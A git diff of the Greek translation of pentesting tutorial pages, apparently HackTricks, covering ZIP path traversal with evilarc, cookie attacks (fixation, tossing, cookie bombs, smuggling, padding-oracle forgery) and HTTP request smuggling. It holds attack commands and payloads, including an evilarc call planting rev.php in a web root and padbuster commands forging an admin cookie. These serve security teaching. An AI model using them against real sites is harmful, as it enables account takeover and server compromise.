||||
zip --symlinks test.zip symindex.txt
|
||||
@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||
|
||||
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης τροποποιώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
|
||||
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
```python
|
||||
@ -228,7 +228,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Επιπλέον, το **trick symlink με το evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.
|
||||
Επιπλέον, το **trick symlink με το evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.
|
||||
|
||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
|
||||
```python
|
||||
|
@ -48,7 +48,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
||||
Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **μειώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνδεδεμένη συνεδρία.
|
||||
|
||||
**\*Σημειώστε ότι από το Chrome80 (φλεβάρης/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό samesite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **ως None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφής.**
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **ως None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφαίου επιπέδου.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
@ -60,7 +60,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
||||
|
||||
- Αν η σελίδα **στέλνει τα cookies ως απάντηση** σε αιτήματα (για παράδειγμα σε μια σελίδα **PHPinfo**), είναι δυνατόν να εκμεταλλευτείτε το XSS για να στείλετε ένα αίτημα σε αυτή τη σελίδα και να **κλέψετε τα cookies** από την απάντηση (ελέγξτε ένα παράδειγμα στο [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
- Αυτό μπορεί να παρακαμφθεί με **TRACE** **HTTP** αιτήματα καθώς η απάντηση από τον διακομιστή (αν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντικατοπτρίζει τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
|
||||
- Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές με το να μην επιτρέπουν την αποστολή ενός TRACE** αιτήματος από το JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
- Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές με το να μην επιτρέπουν την αποστολή ενός TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
- Ένας άλλος τρόπος είναι η εκμετάλλευση ευπαθειών μηδενικής ημέρας στους περιηγητές.
|
||||
- Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση υπερχείλισης Cookie Jar:
|
||||
|
||||
@ -76,12 +76,12 @@ cookie-jar-overflow.md
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Τα cookies που αρχίζουν με `__Secure-` απαιτείται να ρυθμιστούν μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες μέσω HTTPS.
|
||||
Τα cookies που αρχίζουν με `__Secure-` απαιτείται να ρυθμιστούν μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες με HTTPS.
|
||||
|
||||
Για τα cookies που αρχίζουν με `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
|
||||
- Πρέπει να ρυθμιστούν με τη σημαία `secure`.
|
||||
- Πρέπει να προέρχονται από μια σελίδα ασφαλισμένη μέσω HTTPS.
|
||||
- Πρέπει να προέρχονται από μια σελίδα ασφαλισμένη με HTTPS.
|
||||
- Απαγορεύεται να καθορίζουν ένα domain, αποτρέποντας τη μετάδοσή τους σε υποτομείς.
|
||||
- Η διαδρομή για αυτά τα cookies πρέπει να ρυθμιστεί σε `/`.
|
||||
|
||||
@ -93,7 +93,7 @@ cookie-jar-overflow.md
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των cookies `__HOST-`:
|
||||
Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
@ -111,9 +111,9 @@ cookie-jar-overflow.md
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Σε αυτό το σενάριο, ένας επιτιθέμενος παραπλανεί ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Αν η εφαρμογή δεν αναθέσει ένα νέο cookie κατά την είσοδο, ο επιτιθέμενος, που κατέχει το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο θύμα να συνδεθεί με ένα cookie που παρέχεται από τον επιτιθέμενο.
|
||||
Σε αυτό το σενάριο, ένας επιτιθέμενος παραπλανεί ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Αν η εφαρμογή δεν αναθέσει ένα νέο cookie κατά την είσοδο, ο επιτιθέμενος, που κατέχει το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο να συνδεθεί το θύμα με ένα cookie που παρέχεται από τον επιτιθέμενο.
|
||||
|
||||
Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
Αν βρείτε ένα **XSS σε υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -123,7 +123,7 @@ cookie-tossing.md
|
||||
|
||||
Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το cookie συνεδρίας του επιτιθέμενου. Το θύμα, πιστεύοντας ότι είναι συνδεδεμένο στον δικό του λογαριασμό, θα εκτελέσει ακούσια ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου.
|
||||
|
||||
Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
Αν βρείτε ένα **XSS σε υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -137,11 +137,11 @@ cookie-tossing.md
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια διαδικτυακή εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτημα προς τον ευάλωτο ιστότοπο.
|
||||
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια διαδικτυακή εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτημα στον ευάλωτο ιστότοπο.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Δείτε περαιτέρω λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Οι περιηγητές επιτρέπουν τη δημιουργία cookies χωρίς όνομα, κάτι που μπορεί να αποδειχθεί μέσω JavaScript ως εξής:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Οι περιηγητές επιτρέπουν τη δημιουργία cookies χωρίς όνομα, κάτι που μπορεί να αποδειχθεί μέσω JavaScript ως εξής:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
@ -167,7 +167,7 @@ document.cookie = "\ud800=meep"
|
||||
|
||||
#### Cookie Smuggling λόγω προβλημάτων ανάλυσης
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην[πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης RFC2965. Διαβάζουν μια διπλά εισαγωγική τιμή cookie ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην[πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης RFC2965. Διαβάζουν μια τιμή cookie με διπλά εισαγωγικά ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
@ -192,13 +192,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Παράκαμψη λιστών αποκλεισμού ονομάτων cookie
|
||||
#### Παρακάμψεις λιστών αποκλεισμού ονομάτων cookie
|
||||
|
||||
Στο RFC2109 αναφέρεται ότι μια **κόμμα μπορεί να χρησιμοποιηθεί ως διαχωριστής μεταξύ των τιμών cookie**. Και επίσης είναι δυνατό να προστεθούν **κενά και ταμπς πριν και μετά το ίσον**. Επομένως, ένα cookie όπως `$Version=1; foo=bar, abc = qux` δεν παράγει το cookie `"foo":"bar, admin = qux"` αλλά τα cookies `foo":"bar"` και `"admin":"qux"`. Παρατηρήστε πώς παράγονται 2 cookies και πώς το admin απέκτησε το κενό πριν και μετά το ίσον.
|
||||
|
||||
#### Ανάλυση παρακάμψεων τιμών με διαχωρισμό cookie
|
||||
|
||||
Τέλος, διαφορετικές πίσω πόρτες θα συνδυάζουν σε μια συμβολοσειρά διαφορετικά cookies που μεταφέρονται σε διαφορετικούς επικεφαλής cookie όπως σε: 
|
||||
Τέλος, διαφορετικές πίσω πόρτες θα ενώνουν σε μια συμβολοσειρά διαφορετικά cookies που περνούν σε διαφορετικούς επικεφαλής cookie όπως σε: 
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -212,7 +212,7 @@ Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Έλεγχοι για Επιπλέον Ευάλωτα Cookies
|
||||
### Έλεγχοι για Εξαιρετικά Ευάλωτα Cookies
|
||||
|
||||
#### **Βασικοί έλεγχοι**
|
||||
|
||||
@ -222,7 +222,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
- Ελέγξτε αν το cookie έχει οποιαδήποτε πληροφορία μέσα του και προσπαθήστε να το τροποποιήσετε.
|
||||
- Προσπαθήστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
|
||||
- Ελέγξτε την επιλογή "**remember me**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **remember me** χωρίς κανένα άλλο cookie.
|
||||
- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού πρόσβασης.
|
||||
- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού.
|
||||
|
||||
#### **Προχωρημένες επιθέσεις με cookies**
|
||||
|
||||
@ -246,7 +246,7 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
||||
|
||||
Στη συνέχεια, θα ξεκινήσει την αποκρυπτογράφηση του cookie (μπορεί να διαρκέσει αρκετά λεπτά).
|
||||
|
||||
Εάν η επίθεση έχει εκτελεστεί επιτυχώς, τότε μπορείτε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να **κρυπτογραφήσετε** **user=administrator**.
|
||||
Εάν η επίθεση έχει εκτελεστεί επιτυχώς, τότε θα μπορούσατε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **encrypt** **user=administrator**.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**`Cookie bomb`** περιλαμβάνει **την προσθήκη ενός σημαντικού αριθμού μεγάλων cookies σε ένα domain και τα υποdomains του, στοχεύοντας έναν χρήστη**. Αυτή η ενέργεια έχει ως αποτέλεσμα τον θύμα **να στέλνει υπερβολικά μεγάλες HTTP αιτήσεις** στον διακομιστή, οι οποίες στη συνέχεια **απορρίπτονται από τον διακομιστή**. Η συνέπεια αυτού είναι η πρόκληση μιας Άρνησης Υπηρεσίας (DoS) που στοχεύει συγκεκριμένα σε έναν χρήστη εντός αυτού του domain και των υποdomains του.
|
||||
**`Cookie bomb`** περιλαμβάνει **την προσθήκη ενός σημαντικού αριθμού μεγάλων cookies σε ένα domain και τα υποdomains του, στοχεύοντας έναν χρήστη**. Αυτή η ενέργεια έχει ως αποτέλεσμα το θύμα **να στέλνει υπερβολικά μεγάλες HTTP αιτήσεις** στον διακομιστή, οι οποίες στη συνέχεια **απορρίπτονται από τον διακομιστή**. Η συνέπεια αυτού είναι η πρόκληση μιας Άρνησης Υπηρεσίας (DoS) που στοχεύει συγκεκριμένα σε έναν χρήστη εντός αυτού του domain και των υποdomains του.
|
||||
|
||||
Ένα ωραίο **παράδειγμα** μπορεί να δει κανείς σε αυτή τη γραφή: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
@ -9,15 +9,15 @@
|
||||
Όπως αναφέρθηκε στην ενότητα Hacking Cookies, όταν ένα **cookie ορίζεται σε ένα domain (καθορίζοντάς το) θα χρησιμοποιείται στο domain και στις υποτομείς.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Επομένως, **ένας επιτιθέμενος θα είναι σε θέση να ορίσει σε το domain και τις υποτομείς ένα συγκεκριμένο cookie κάνοντάς κάτι όπως** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
> Επομένως, **ένας επιτιθέμενος θα είναι σε θέση να ορίσει σε το domain και τις υποτομείς ένα συγκεκριμένο cookie κάνοντας κάτι όπως** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
|
||||
Αυτό μπορεί να είναι επικίνδυνο καθώς ο επιτιθέμενος μπορεί να είναι σε θέση να:
|
||||
|
||||
- **Σταθεροποιήσει το cookie του θύματος στον λογαριασμό του επιτιθέμενου** έτσι ώστε αν ο χρήστης δεν το παρατηρήσει, **θα εκτελεί τις ενέργειες στον λογαριασμό του επιτιθέμενου** και ο επιτιθέμενος μπορεί να αποκτήσει κάποιες ενδιαφέρουσες πληροφορίες (να ελέγξει την ιστορία των αναζητήσεων του χρήστη στην πλατφόρμα, το θύμα μπορεί να έχει ρυθμίσει την πιστωτική του κάρτα στον λογαριασμό...)
|
||||
- **Σταθεροποιήσει το cookie του θύματος στον λογαριασμό του επιτιθέμενου** έτσι ώστε αν ο χρήστης δεν το παρατηρήσει, **θα εκτελεί τις ενέργειες στον λογαριασμό του επιτιθέμενου** και ο επιτιθέμενος μπορεί να αποκτήσει κάποιες ενδιαφέρουσες πληροφορίες (να ελέγξει την ιστορία των αναζητήσεων του χρήστη στην πλατφόρμα, το θύμα μπορεί να έχει ορίσει την πιστωτική του κάρτα στον λογαριασμό...)
|
||||
- Εάν το **cookie δεν αλλάξει μετά την είσοδο**, ο επιτιθέμενος μπορεί απλά να **σταθεροποιήσει ένα cookie (session-fixation)**, να περιμένει μέχρι το θύμα να συνδεθεί και στη συνέχεια **να χρησιμοποιήσει αυτό το cookie για να συνδεθεί ως το θύμα**.
|
||||
- Μερικές φορές, ακόμη και αν τα session cookies αλλάζουν, ο επιτιθέμενος χρησιμοποιεί το προηγούμενο και θα λάβει και το νέο.
|
||||
- Εάν το **cookie ορίζει κάποια αρχική τιμή** (όπως στο flask όπου το **cookie** μπορεί να **ορίσει** το **CSRF token** της συνεδρίας και αυτή η τιμή θα διατηρηθεί μετά την είσοδο του θύματος), ο **επιτιθέμενος μπορεί να ορίσει αυτή τη γνωστή τιμή και στη συνέχεια να την εκμεταλλευτεί** (σε αυτό το σενάριο, ο επιτιθέμενος μπορεί να κάνει τον χρήστη να εκτελέσει ένα CSRF αίτημα καθώς γνωρίζει το CSRF token).
|
||||
- Ακριβώς όπως η ρύθμιση της τιμής, ο επιτιθέμενος θα μπορούσε επίσης να αποκτήσει ένα μη αυθεντικοποιημένο cookie που δημιουργήθηκε από τον διακομιστή, να πάρει το CSRF token από αυτό και να το χρησιμοποιήσει.
|
||||
- Ακριβώς όπως η ρύθμιση της τιμής, ο επιτιθέμενος θα μπορούσε επίσης να αποκτήσει ένα μη αυθεντικοποιημένο cookie που δημιουργήθηκε από τον διακομιστή, να αποκτήσει το CSRF token από αυτό και να το χρησιμοποιήσει.
|
||||
|
||||
### Παραγγελία Cookie
|
||||
|
||||
@ -34,13 +34,13 @@
|
||||
|
||||
Μια πιθανή προστασία κατά αυτής της επίθεσης θα ήταν ότι ο **διακομιστής ιστού δεν θα αποδέχεται αιτήματα με δύο cookies με το ίδιο όνομα αλλά με δύο διαφορετικές τιμές**.
|
||||
|
||||
Για να παρακάμψει το σενάριο όπου ο επιτιθέμενος ορίζει ένα cookie αφού το θύμα έχει ήδη λάβει το cookie, ο επιτιθέμενος θα μπορούσε να προκαλέσει μια **υπερχείλιση cookie** και στη συνέχεια, μόλις το **νόμιμο cookie διαγραφεί, να ορίσει το κακόβουλο**.
|
||||
Για να παρακάμψει το σενάριο όπου ο επιτιθέμενος ορίζει ένα cookie μετά το θύμα έχει ήδη λάβει το cookie, ο επιτιθέμενος θα μπορούσε να προκαλέσει μια **υπερχείλιση cookie** και στη συνέχεια, μόλις το **νόμιμο cookie διαγραφεί, να ορίσει το κακόβουλο**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
Μια άλλη χρήσιμη **παράκαμψη** θα μπορούσε να είναι να **URL encode το όνομα του cookie** καθώς ορισμένες προστασίες ελέγχουν για 2 cookies με το ίδιο όνομα σε ένα αίτημα και στη συνέχεια ο διακομιστής θα αποκωδικοποιήσει τα ονόματα των cookies.
|
||||
Μια άλλη χρήσιμη **παράκαμψη** θα μπορούσε να είναι να **κωδικοποιήσει το όνομα του cookie** καθώς ορισμένες προστασίες ελέγχουν για 2 cookies με το ίδιο όνομα σε ένα αίτημα και στη συνέχεια ο διακομιστής θα αποκωδικοποιήσει τα ονόματα των cookies.
|
||||
|
||||
### Cookie Bomb
|
||||
|
||||
@ -54,8 +54,8 @@ cookie-bomb.md
|
||||
|
||||
#### **Χρησιμοποιήστε το πρόθεμα `__Host` στο όνομα του cookie**
|
||||
|
||||
- Εάν ένα όνομα cookie έχει αυτό το πρόθεμα, θα **γίνεται αποδεκτό μόνο** σε μια οδηγία Set-Cookie εάν είναι επισημασμένο ως Secure, έχει σταλεί από μια ασφαλή προέλευση, δεν περιλαμβάνει ένα χαρακτηριστικό Domain και έχει το χαρακτηριστικό Path ρυθμισμένο σε /
|
||||
- **Αυτό αποτρέπει τους υποτομείς από το να επιβάλλουν ένα cookie στο κορυφαίο domain καθώς αυτά τα cookies μπορούν να θεωρηθούν ως "domain-locked"**
|
||||
- Εάν ένα όνομα cookie έχει αυτό το πρόθεμα, θα **γίνεται αποδεκτό μόνο** σε μια οδηγία Set-Cookie εάν είναι σημειωμένο ως Secure, έχει σταλεί από μια ασφαλή προέλευση, δεν περιλαμβάνει ένα χαρακτηριστικό Domain και έχει το χαρακτηριστικό Path ορισμένο σε /
|
||||
- **Αυτό αποτρέπει τους υποτομείς από το να επιβάλλουν ένα cookie στο κορυφαίο domain καθώς αυτά τα cookies μπορούν να θεωρηθούν ως "κλειδωμένα σε domain"**
|
||||
|
||||
### Αναφορές
|
||||
|
||||
|
@ -2,9 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Τι είναι
|
||||
|
||||
Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευθεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\
|
||||
Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\
|
||||
Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του**.
|
||||
|
||||
### Θεωρία
|
||||
@ -24,15 +25,15 @@
|
||||
|
||||
### Πραγματικότητα
|
||||
|
||||
Οι **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζονται** την κεφαλίδα _**content-length**_ ή την κεφαλίδα _**transfer-encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\
|
||||
Αυτό θα μπορούσε να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευθεί** από τον **server back-end** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **server back-end** **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**.
|
||||
Οι **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζονται** την _**content-length**_ ή την _**transfer-encoding**_ κεφαλίδα και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\
|
||||
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευτεί** από τον **back-end** server **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **back-end** server **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**.
|
||||
|
||||
### Ιδιαιτερότητες
|
||||
|
||||
Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:**
|
||||
|
||||
- **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**.
|
||||
- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **δεκαεξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **κομμάτι** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
|
||||
- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **κομμάτι** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
|
||||
- **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request της τεχνικής Smuggling.
|
||||
|
||||
## Βασικά Παραδείγματα
|
||||
@ -185,11 +186,11 @@ EMPTY_LINE_HERE
|
||||
|
||||
